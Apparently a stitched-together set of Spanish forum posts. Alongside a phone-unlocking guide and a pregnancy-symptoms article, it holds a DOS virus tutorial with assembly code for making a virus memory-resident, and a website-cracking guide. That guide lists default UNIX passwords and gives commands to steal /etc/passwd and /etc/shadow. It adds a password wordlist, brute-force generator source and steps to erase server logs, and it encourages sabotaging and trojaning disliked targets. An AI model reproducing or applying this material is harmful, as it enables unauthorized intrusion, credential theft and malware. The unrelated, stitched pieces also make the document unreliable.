lacolmena1
Usuario (Argentina)
Modelos Sony Ericsson compatibles : C510, C702, C901, C902, C903, C905, G905, G705, K630, K660, K850, K858, T700, TM506, V640, W595, W705, W715, W760, W890, W902, W908, W910, W980, Z750, Z770, Z780. SO : Windows XP Cable : USB DCU-65 (viene con el telefono movil). Box : No hace falta. Drivers : Hace falta tener los drivers usb instalados. Se incluyen en el archivo. Otros : La bateria, para mayor seguriad, tiene que estar cargada entera cuando se vaya a comenzar el proceso. ..:: Pasos a seguir ::.. Nos bajamos el programa y lo instalamos. El enlace está un poco mas abajo, al final de este post. Mientras se baja el programa, os registrais en esta pagina. El proceso de registro es completamente gratuito, y si quereis podeis utilizar Mailinator para no dar vuestro verdadero correo. He de decir que yo di mi correo, y no he recibido ni un solo mensaje de publicidad. Una vez instalado el programa, lo abrimos, y en "Tools" -> "Preferences" introducimos el nombre de usuario y la contraseña que hemos registrado en el paso anterior. Apagamos el telefono, quitamos la bateria, extraemos la SIM, ponemos la bateria de nuevo y dejamos el telefono apagado. De nuevo en el programa, donde "Phone Type" seleccionamos nuestro modelo de telefono, y despues pulsamos sobre el candado que hay justo a la derecha. En la nueva pestaña abierta, cuando veamos que pone "Instructions" en negrita, cogemos el telefono, pulsamos las teclas "2" y "5" simultaneamente, y sin soltar durante ningun momento de todo el proceso, enchufamos el telefono al ordenador. El viejo metodo de pulsar la tecla "C" no sirve y dará error. Con el movil ya enchufado al ordenador, y sin soltar las teclas "2" y "5", el programa deberia de empezar a trabajar. Esperais un poco, y cuando veais un "Successful" en verde con una marca (o tick) verde a su izquierda es que el proceso ya termino. Cuando llegueis a este punto podeis desonectar el telefono del ordenador, ponerle la tarjeta SIM de la compañia que querais, y empezar a usarlo. ¡¡ Vuestro telefono liberado en apenas 1 minuto y sin gastar un nada!! Link de descarga:

Sintomas De Un Embarazo Aunque para cada mujer resulten diferentes, los primeros síntomas de un embarazo siempre llegan acompañados de cierta incertidumbre y alteración emocional por la concepción de una nueva vida. Y esa incertidumbre se mantiene mientras aparecen señales de un embarazo aun sin confirmar. Generalmente en lo que se piensa primero es en la ausencia del periodo menstrual como la prueba de que se está embarazada. Sin embargo, eso sólo aplica a aquellas mujeres que tienen menstruaciones regulares cada 28 días y deja por fuera a las que tienen periodos irregulares. Por ello es tan importante observar otras señales del cuerpo femenino para identificar la posibilidad de un embarazo. Son diferentes en cada caso, sí, pero si una mujer presenta cinco de estos primeros síntomas, entonces es muy probable que esté embarazada. En cualquier caso, los síntomas son sólo indicios y se requiere de una prueba de embarazo confiable y de un examen médico para confirmar el diagnóstico. Entre los primeros síntomas de embarazo se encuentran, aparte de la ausencia de la menstruación o amenorrea, los malestares matutinos como náuseas y vómitos, los cuales se presentan con más frecuencia en el primer trimestre por el aumento de hormonas en el organismo, especialmente por la gonadotropina corionica, estrógeno y progesterona. Es común que estos síntomas aparezcan de dos a ocho semanas después de la concepción. Para contrarrestar estos malestares, que bien pueden durar incluso durante todo el día, los médicos recomiendan comer dos o tres galletas de soda antes de levantarse de la cama y al levantarse, hacerlo con suma lentitud para evitar la náusea. También, comer raciones pequeñas de alimentos fríos y frescos, cinco o seis veces al día, ingerir líquidos fríos entre comidas (no con ellas) y evitar los platillos grasosos o condimentados. Otro síntoma temprano del embarazo es el cansancio o fatiga inusual que acompaña a la gestación de un bebé, ocasionado por el esfuerzo que hace el cuerpo femenino para producir más sangre y llevar nutrientes al feto; por ello es común que el pulso se eleve de 10 a 15 latidos por minuto y en ocasiones haya la sensación de que falta el aire, lo cual se soluciona con un descanso adecuado. La mayoría de las mujeres experimentan, además, un síntoma muy frecuente y significativo, incluso desde la primera semana de embarazo: cambios en los pechos. Por efecto del estrógeno y la progesterona, los pechos se inflaman, pueden tornarse hipersensibles y la areola que rodea los pezones se oscurece y presenta nódulos visibles. Esto implica que las glándulas mamarias se están preparando para alimentar al bebé. Otro de los primeros síntomas del embarazo es el de los antojos y cambios en la percepción olfativa, pues muchas mujeres tienen de repente antojos poco habituales por la comida, lo que no tiene aún una explicación científica, pero se atribuye a la posibilidad de una dieta deficiente en minerales u otro elemento nutricional. Y al revés, una embarazada igual puede rechazar platillos que normalmente le gustaban, sobre todo a partir de la exacerbación en el sentido del olfato que le provoca náuseas e inclusive vómitos por asco hacia algún aroma en particular. También pueden presentarse síntomas como acidez gástrica, lo cual ocurre cuando los alimentos digeridos son empujados por el crecimiento del útero desde el estómago hasta el esófago; a la vez, puede haber un sangrado ligero, de color rosado o café, acompañado de un ligero malestar parecido a los cólicos menstruales. La frecuencia urinaria es otro de los primeros síntomas de embarazo, pues aunque al principio no se percibe, el útero está creciendo y presiona la vejiga, por lo que la mujer siente la necesidad de orinar cada vez con mayor frecuencia. Adicionalmente puede haber dolores de cabeza, mareos, aumento de peso, baja presión arterial, dolor pélvico o de la espalda, ligero flujo vaginal sin olor ni comezón, pueden aparecer manchas oscuras en la piel llamadas cloasma, estreñimiento, lentitud en la digestión, aumento en la salivación (hasta dos litros de saliva al día), hinchazón de las piernas y dificultad al respirar, entre otros. En todo caso, si se tiene la sospecha de estar embarazada, para corroborarlo es necesario recurrir a una prueba de laboratorio, ya sea de orina o de sangre, que detecte la presencia de la gonadotropina coriónica producida por la placenta y, una vez confirmado el embarazo, mantenerse bajo supervisión médica durante toda la gestación para que tanto la madre como el bebé lleguen en la mejor condición al momento del parto. Le sirvio mucho a mi novia y espero a que ustedes tambien

- Instalación de un virus en la memoria del ordenador - Este artículo intenta explicar los métodos mas usados de residencia, con un enfoque mas práctico que teórico, dejando en claro lo fundamental para poder aprovecharlos, en especial el de MCB. Muestra ejemplos de los 2 tipos de técnicas descritos, que pueden (en el caso del MCB) usarse directamente en sus propios virus. La teoría no esta muy detallada, pero se encontrará todo lo necesario para que el novato comprenda y pueda usar estos métodos. Y con la información del articulo, si desea profundizar la teoría, es sólo cuestión de leer alguna guía o manual, que hable sobre la memoria, ya que aquí se explica lo básico necesario (espero...). Empezemos Los métodos más usados para dejar a un virus residente son: los que el DOS proporciona o el método de MCB (Memory Control Block). La primera forma es la más simple, pero también la mas ineficaz, primero porque le informa al DOS que se esta dejando algo residente... además al ejecutarse esa función retorna el control al DOS. El programa que se intente ejecutar termina!. El virus que use esta técnica para evitar salir al DOS en su instalacion en memoria tiene que reejecutarse. Para quedar residente, se ejecuta a si mismo otra vez (serv. 4bh), y en su segunda ejecución ejecuta una int 27h o llama al servicio 31 de la int. 21h, esta a su vez, le da el control al programa padre, al que se cargo primero, y este puede entonces terminar, ejecutando al anfitrión. Si esto no se hiciera, alejecutar una int 21, por ejemplo, se le cedería el control al interprete de comandos... Una de las característica de los virus que usan esta técnica es que suelen colocarse al principio de los archivos, estos servicios dejaran residente la cantidad de parrafeo que se les indique desde el comienzo del programa en memoria... Si tenemos un COM de 50K y el virus al final, al usar la int 27h, y dejar residente, por ejemplo, 1k, lo que quedaría seria el primer K del COM, no el virus que esta al final.... Es evidente que no podemos dejar 50k residente... para que el virus quede en memoria se puede relocar(mover), a otro bloque, trasferirle el control, y luego este le cederá el control al programa padre... Para evitar esto, muchos se colocan al principio del programa que infectan. Claro que esto es lento, porque hay que leer todo el file, y luego escribirlo después del virus, lo que no pasa si va al final, en ese caso solo hay que escribir el virus, no el virus y el archivo. Este método es poco elegante, además de lento si se infecta dejando el virus al comienzo, entre otras cosas... Abajo, sigue un fuente de un TSR, no de un virus!, solo un TSR normal para ilustrar su funcionamiento. Este ejemplo intercepta la int. 21 y luego le pasa el control sin hacer nada. Se le puede agregar el código para hacer lo que se quiera. =============================================================================== =============================================================================== code segment assume cs:code,ds:code Org 100h Start: Jmp instalar ; salta a la rutina de Instalación En esta variable va la dirección original de la int 21h old_21 dd 2 new_21: Acá va la rutina que se cuelga de la interrupción 21h. Jmp cs:[old_21] salta a la int original Instalar Obtengo el vector original de la int 21 mov ax, 3521h int 21h mov word ptr old_21, bx mov word ptr old_21+2, es Sesteo el nuevo vector de la int 21 mov ax,2521h push cs pop ds mov dx, offset new_21 int 21h Queda residente mov ah, 31h mov dx, 30d ;ß-- Cantidad de parrafeo(16 bytes) a dejar int 21h ; residentes. code ends end star El segundo método es el de MCB, este es un poco mas complejo que simplemente llamar a al int 27h, pero es mucho mas eficaz. Para entender como funciona hay que saber que el dos crea un bloque de control por cada bloque de memoria que use, este bloque de control, mide 16 bytes, un párrafo y esta justo por encima del bloque de memoria asignado. En un .COM, por ejemplo, en cs - 1, esta la dirección de este bloque. En el Offset 3 del mismo esta la cantidad de memoria usada por ese programa..., para poder dejar residente un prog. hay que restarle a ese valor la longitud del virus, luego liberar la memoria que ya no usa (servicio 4ah) y asignarla (servicio 48h) a nuesto prog. Para terminar, marcamos el MCB del segmento al que movimos nuestro virus con '8' en el Offset 1, para que el dos piense que es parte suya y no use esa memoria. En ese Offset se coloca una marca, para identificar al bloaque, para esta rutina usamos 8 poruque es el que usa el DOS. El código que sigue muestra como se hace... Este code sirve para dejar un virus residente desde un COM, si se carga desde un EXE hay que tener en cuanta que el segmento del MCB a modificar lo obtenemos de restarle 1 a DS y no a CS.;Paso a AX el Code Segment, lo decremento y paso a ES, para obtener; la memoria reservada por el programa anfitrión (ES:[3]), que queda en AX... mov ax, cs ;Con esto obtenemos el segmento dec ax ;del MCB. mov es, ax ;Acá estamos obteniendo del campo mov ax, es:[3] ;del MCB, la memoria utilizada. ; Resto a la memoria usada por el anfitrión la longitud del virus, el resultado ;en AX. sub ax, bx ;En BX esta la longitud del virus, ;en párrafos. ; Paso el resultado de la operacion anterior a BX, para después llamar al servicio de liberar memoria, que se llama com BX, con el nuevo tamaño y con ;el asegmento en ES. push bx ;Salvo la cantidad de mem a reservar. mov bx, ax ;Le paso la nueva cantidad a BX. push cs pop es mov ah,4ah int 21h ;Asigno la memoria liberada a mi virus, el segmento de la memoria asignada ;queda en AX. Decremento BX porque un párrafo lo va a usar el DOS.... pop bx ;Popeo la cantidad de mem a reservar. dec bx mov ah, 48h int 21h ;Decremento AX, Y lo paso a ES, de esa forma apunto al párrafo que usa el DOS; como control, marco ese párrafo en el Offset 1 con 8, para que el DOS lo ;considere como parte suya y no utilice esa zona de memoria. ; Después incremento AX otra vez y lo paso a ES, para que ES quede apuntando; a la memoria que el virus usara. dec ax mov es, ax mov word ptr es:[1], 8 mov word ptr es:[8],'XX' ;Opcional, un nombre al bloque. inc ax mov es, ax push es ;Salvo la dir del seg Del virus Ahora lo que queda es mover el virus al segmento reservado, esto es cuestión de hacer un rep movsb al segmento al que apunta ES y listo, el virus esta residente. NOTA: La rutina en si no hace saltar ninguna alarma, la alarma de residencia del TB salta cuando detecta la actualización de la int 21h o 13h. Ratas.. - mov ax, cs ;Con esto obtenemos el segmento dec ax ;del MCB. mov es, ax ;Aca estamos obteniendo del campo mov ax, es:[3] ;del MCB, la memoria utilizada. ;**** ;El problema de esto, es que en ningún momento se aclara que tenemos que declarar el tamaño del virus un poco mas grande, exactamente un párrafo mas largo. ; Esto por qué? Y bueno, en el momento en que tenemos que restarle un párrafo a ;la memoria que queremos reservar (esto lo hacíamos para dar lugar a que se ;cree el MCB del nuevo bloque), estamos reservando un párrafo menos de virus ;también.. ósea que la última parte del virus no entraría en la memoria reservada.. Puede ser que no traiga problemas por ser un rea de datos o algo por ;el estilo, pero es aconsejable hacer las cosas bien, o no ? ;-); Bueno, la manera de solucionar esto es simplemente Incrementar la cantidad de párrafos del virus o si lo declaran en su programa con un TAMAÑO DE PÁRRAFOS EQU ((FIN-COMIENZO)/16)+1 ; ; declara el incremento directamente ahí, para no gastar bytes ni clocks : ; ; TAMAÑO_EN_PÁRRAFOS EQU ((FIN-COMIENZO+15)/16)+1 ; ;**** sub ax, bx ;En BX esta la longitud del virus, ;en párrafos. (ahora incrementada). push bx ;Salvo la cantidad de mem a reservar. mov bx, ax ;Le paso la nueva cantidad a BX. push cs pop es mov ah, 4ah int 21h pop bx ; Popeo la cantidad de mem a reservar. dec bx mov ah, 48h int 21h dec ax mov es, ax mov word ptr es:[1], 8 mov word ptr es:[8],'XX' ;Opcional, un nombre al bloque. inc ax mov es, ax push es ;Salvo la DIR del seg. del virus ... ;Bla.. Bla.. Bla.. y sigue el código ...DTM - Dead to Minotauro BBS silly Troyan installer. Text by Zarathustra for Minotauro Magazine Bueno mi intención en este post no es de dañar a nadie ni nada solo de dejar una ayuda para los que quieren empesar una carrera como hacker Espero que les aya gustado mi post
"Guia para crackear Websites & Homepages" 1. Introduccion Si alguna vez has echado a volar tu imaginación se te abra ocurrido que seria cómico remover algunas graficas de algún website, o mejor aun borrar toda la pagina de algun enemigo para deleitarte con tu venganza. Pues bien, este es el manual que te ayudara a lograrlo. Primero deberás entender que andar por ahí borrando paginas es *TONTO* e inmaduro. Lo que trato de hacer es que sientas la adrenalina de entrar a un sistema al que no estés autorizado y echar una ojeada alrededor. Si te dedicas a invadir sistemas y borrar archivos le quitaras el privilegio a otra persona de entrar a ese sistema ya que el operador se dará cuenta de la instrucción y aumentaran la seguridad negando asi la entrada a mas 'intrusos'. Si el sistema al que entraste pertenece a unos hijos de la chingada (Plantas Nucleares, Creadores de abrigos de piel, Agencias de Gobierno,etc) olvida lo antes dicho y haz que se arrepientan de haberse conectado a la red causando kaos o mejor aun, infectándolos con algún buen virus (por que no reemplazar un ejecutable por un caballo de troya?). En fin, usa tu cabeza y cuida de no ser sorprendido en tus viajes de kAoS. 2. Websites Un website es solamente una computadora llamada servidor por su capacidad de de realizar diferentes tareas al mismo tiempo, ejecutando un sistema operativo que generalmente sera UNIX o algunas de sus variaciones y con toda la información guardada en algún medio. 3 Ganando acceso a un servidor WWW Aquí reside la magia del Hacker, la protección común son dos preguntas Login y Password. El usuario que tenga una cuenta en ese servidor tiene un nombre de usuario (Login) y contraseña (Password) por lo que la entrada a ese servidor no tiene problemas; pero para una persona ajena a ese servidor la entrada es un poco mas complicada. Para poder penetrar el sistema necesitamos saber su URL y una vez conectados con el explorador prestar atención al mensaje waiting reply from 103.38.28 o algo parecido que haga aparecer una dirección IP en lugar de el nombre de dominio. Si lograste conseguir la dirección IP usa telnet para conectarte a esa dirección. Si cuando tratas de conectarte aparece el mensaje 'connection refused' probablemente este protegida esa dirección con una FIREWALL. Si este es el caso trata de hacer telnet a el nombre de dominio con la finalidad de llegar a el frustrante LOGIN/PASSWORD. Para entrar necesitas conseguir alguna cuenta haciendo algo de ingeniería social o intenta con los defaults * CUENTAS DEFAULTS DE UNIX * Login: Password: root root root system sys sys sys system daemon daemon uucp uucp tty tty test test unix unix unix test bin bin adm adm adm admin admin adm admin admin sysman sysman sysman sys sysman system sysadmin sysadmin sysadmin sys sysadmin system sysadmin admin sysadmin adm who who learn learn uuhost uuhost guest guest host host nuucp nuucp rje rje games games games player sysop sysop root sysop demo demo Si fracasas al intentar el acceso usando cada uno de los anteriores logins, probablemente tengas que conseguir el password de otra manera como relaciones humanas; esto significa que vas a tener que conseguir la clave valiéndote de trucos como hablar por teléfono a una persona que sepas que esta registrada en ese servidor y pedirle su Login y Password diciendo que necesitas validar su cuenta o algo parecido. Otra manera de conseguir un Password es crear un programa que robe las claves de acceso del disco duro de una persona. 4. Cuando se esta adentro Una vez que hayas logrado entrar a un sistema necesitaras localizar y obtener el archivo passwd disponible en el directorio /etc Para obtener el archivo PASSWD usa el siguiente ejemplo ($ simboliza el prompt UNIX) $ ftp FTP> get /etc/passwd FTP> quit Para ver el contenido del archivo usa el siguiente comando $ cat /etc/passwd Una vez que tengas en tu posesión el archivo PASSWD edítalo y fíjate en su contenido, deberá tener la siguiente información: Usuario:contraseña:ID:Grupo:descripción/nombre:directorio:shell Usuario - Este es el login de algun usuario. Contraseña - Es el password de el usuario (encriptada con DES) ID - Es la identificación de ese usuario. Grupo - El grupo al que pertenece esta cuenta. Descripción- El nombre del usuario. Directorio - El directorio de acceso del usuario. Shell - El shell que procesa los comandos de ese usuario. Un ejemplo podria ser: john:234abc56:9999:13:John Johnson:/home/dir/john:/bin/john Nombre de usuario: john Password encriptado: 234abc56 Usuario numero: 9999 Numero de grupo: 13 Descripción: John Johnson Directorio de acceso: /home/dir/john Shell: /bin/john Si el archivo que conseguiste contiene la misma información pero en el campo del password tiene un asterisco (*) o cualquier otro caracter, significa que las contraseñas se encuentran 'sombreadas'. Si las contraseñas se encuentra sombreada, las podrás encontrar en el archivo shadow aunque generalmente no se puede tener acceso a ese archivo a menos de tener root. Una forma de conseguir SHADOW es usando el comando cp para copiarlo a otro archivo y después tratar de obtener el archivo al que se copio, ejemplo: $cp /etc/shadow /usuarios/carlos/hack.txt $ftp FTP> get /usuarios/carlos/hack.txt FTP> quit $rd /usuarios/carlos/hack.txt Algunas otras maneras de obtener el archivo SHADOW serán explicadas en otros números de RareGaZz. Ya tengo los passwords encriptados, ahora que? Los passwords estan encriptados usando one-way encription, significa que no se pueden des-encriptar. Lo que Unix hace es obtener la contraseña del usuario,la encripta y la compara con la que ya esta encriptada, si coinciden entonces se le permite el acceso. Para poder obtener las contraseñas es necesario tener un archivo con palabras y usar un programa para que encripte las palabras del archivo y las compare con las contrase¤as encriptadas,si coinciden te avisa que palabra fue la que coincidió con la contraseña encriptada. Para conseguir listas de palabras haz FTP a el siguiente servidor warwick.ac.uk directorio: /pub/cud Algunas de las palabras mas usadas en contraseñas son aaa academia ada adrian aerobics airplane albany albatros albert alex alexander algebra alias alisa alpha alphabet ama amy analog anchor andy andrea animal answer anything arrow arthur ass asshole athena atmosphere bacchus badass bailey banana bandit banks bass batman beautiful beauty beaver daniel danny dave deb debbie deborah december desire desperate develop diet digital discovery disney dog drought duncan easy eatme edges edwin egghead eileen einstein elephant elizabeth ellen emerald engine engineer enterprise enzyme euclid evelyn extension fairway felicia fender finite format god hello idiot jester john johnny joseph joshua judith juggle julia kathleen kermit kernel knight lambda larry lazarus lee leroy lewis light lisa louis love lynne mac macintosh mack maggot martin marty marvin matt master maurice maximum merlin mets michael michelle mike minimum nicki nicole rascal really rebecca remote rick reagan robot robotics rolex ronald rose rosebud rosemary roses ruben rules ruth sal saxon scheme scott secret sensor serenity sex shark sharon shit shiva shuttle simon simple singer single singing smile smooch smother snatch snoopy soap socrates spit spring subway success summer super support surfer suzanne tangerine tape target taylor telephone temptation tiger tigger toggle tomato toyota trivial unhappy unicorn unknown urchin utility vicki virginia warren water weenie whatnot whitney will virgin william winston willie wizard wonbat yosemite zap whatnow Obtuve algunas cuentas, ahora? Para poder hacer y deshacer en el servidor necesitas el password de la cuenta root. Si después de intentar con algunas listas de palabras no puedes necesitaras hacer un ataque en bruto, es decir empezar desde la letra A hasta la palabra zzzzzzzz El siguiente programa necesita ser compilado usando TASM y es una lista de palabras TSR que no ocupa espacio en disco y puede ser modificada, es ideal para ataques brutos a la cuenta r00t_ (Programa Copiado de Phrack 47) P A S S W O R D E N G I N E (for IBM PC's) by Uncle Armpit +++++++++++++++++++++++++++++++++++++++++++++ Que tan practico es? Este programa no necesita mucho espacio en disco y puede crear listas de palabras de gran tamaño. Con el ejemplo proporcionado, passwords empezando en 'aaaaaaa' y terminando en 'zzzzzzz' serán generados. Como empiezo a usar esta lista de palabras? Compila el código y nómbralo "hackdrv.sys", despues necesitas configurarlo añadiendo la siguiente linea en CONFIG.SYS device=c:hackdrv.sys Una vez en memoria el programa creara la lista de variables en memoria llamada HACKPWD. Cualquier programa que uses (excepto StarCracker) deberá reconocer hackpwd como una lista de palabras y empezar a crackear. Si deseas reiniciar una sesión desde una combinación específica solo modifica el archivo HACKDRV.SYS con un editor HEXADECIMAL y modifica la cadena de caracteres con los que empieza -------------------------Corte aqui-------------------------------- Program HACKDRV.SYS org 0h next_dev dd -1 attribute dw 0c000h ;character device w/ ioctl calls strategy dw dev_strategy interrupt dw dev_int dev_name db 'HACKPWD ' countr dw offset number number db 'aaaaaa',0ah ;<---- 6 caracteres en minusculas (empiezo) numsize equ $-number - 2 afternum: ;working space for device driver rh_ofs dw ? rh_seg dw ? dev_strategy: ;strategy routine mov cs:rh_seg,es mov cs:rh_ofs,bx retf dev_int: ;interrupt routine pushf push ds push es push ax push bx push cx push dx push di push si cld push cs pop ds mov bx,cs:rh_seg mov es,bx mov bx,cs:rh_ofs mov al,es:+2 rol al,1 mov di,offset cmdtab xor ah,ah add di,ax jmp word ptr cmdtab: ;command table dw init ;0 dw exit3 ;1 dw exit3 ;2 dw ioctl_read ;3 dw do_read ;4 dw exit3 ;5 dw exit3 ;6 dw exit3 ;7 dw exit3 ;8 dw exit3 ;9 dw exit3 ;10 dw exit3 ;11 dw ioctl_write ;12 dw exit3 ;13 dw 5 dup (offset exit3) ioctl_read: push es push bx mov si,es:[bx+10h] mov di,es:[bx+0eh] mov es,si push cs pop ds mov si,offset number xor cx,cx get_char: lodsb stosb inc cl cmp al,0ah jz ioctl_rend jmp get_char ioctl_rend: pop bx pop es mov es:[bx+012h],cx mov cs:countr,offset number jmp exit2 ioctl_write: push es push bx mov si,es:[bx+010h] mov ds,si mov si,es:[bx+0eh] mov cx,numsize+1 ;es:[bx+012h] push cs pop es mov di,offset number repe movsb pop es pop bx mov cs:countr,offset number jmp exit2 do_read: push es push bx push cs pop ds mov si, inc si ;word ptr cmp si,offset afternum jnz is_okay mov si,offset number call inc_num is_okay: mov ,si mov di,es:+0eh mov ax,es:+010h mov cx, es:+012h jcxz clean_up mov es,ax repe movsb clean_up: pop bx pop es jmp exit2 exit3: mov es:word ptr 3,08103h jmp exit1 exit2: mov es:word ptr 3,0100h exit1: pop si pop di pop dx pop cx pop bx pop ax pop es pop ds popf retf exit: inc_num proc near push si mov si,numsize reiterate: inc byte ptr [number+si] cmp byte ptr [number+si],'z'+1 ;+1 past ending char. in range jnz _exit mov byte ptr [number+si],'a' ;starting char. in range dec si cmp si,-1 jnz reiterate mov byte ptr ,01ah ;send EOF _exit: pop si ret inc_num endp at_eof: ; the non-resident code starts here initial proc near push es push cs pop ds push cs pop es mov si,offset number mov di,offset tmpnum cld _again: lodsb cmp al,0ah jz _nomorechars stosb jmp _again _nomorechars: mov si,offset msgend mov cx,4 repe movsb mov ah,09 ;print welcome message mov dx,offset msg1 int 21h pop es ret initial endp init: call initial mov ax,offset at_eof mov es:+0eh,ax push cs pop ax mov es:+010h,ax mov cs:word ptr cmdtab,offset exit3 jmp exit2 msg1 db "Incremental Password Generator (c)1995",0ah,0dh db "Written by Uncle Armpit",0ah,0dh,0ah,0dh db "Starting at word [" tmpnum db 10 dup (?) msgend db "]",0a,0d,'$' ;END hackdrv.sys Tambien pueden tirar paginas de juegos online con esto, por ejemplo Bueno aca esta el mas facil de todos,el famoso mu online -------------------------------Corte aqui---------------------------------- Como limpiar tus huellas Si deseas que tu ingreso con la cuenta r00t no quede registrado en los LOGS de el servidor revisa los directorios buscando archivos como logs, syslog, log, o cualquiera que parezca que guarda un reporte de los accesos y bórralos o mejor aun edítalos usando el editor de archivos de UNIX. Para ejecutar el editor usa el comando vi Edita o borra los siguientes archivos: /etc/syslog /etc/log /etc/logs Bueno gente aca les traigo mi nuevo post espero que les guste. Si entendes algo de seguro te funcionara al 100% Quiero dejar en claro que esta guia no puede llegar a tirar una pagina tan buena como taringa o alguno foros muy buenos solo son para los q no usan tanta seguridad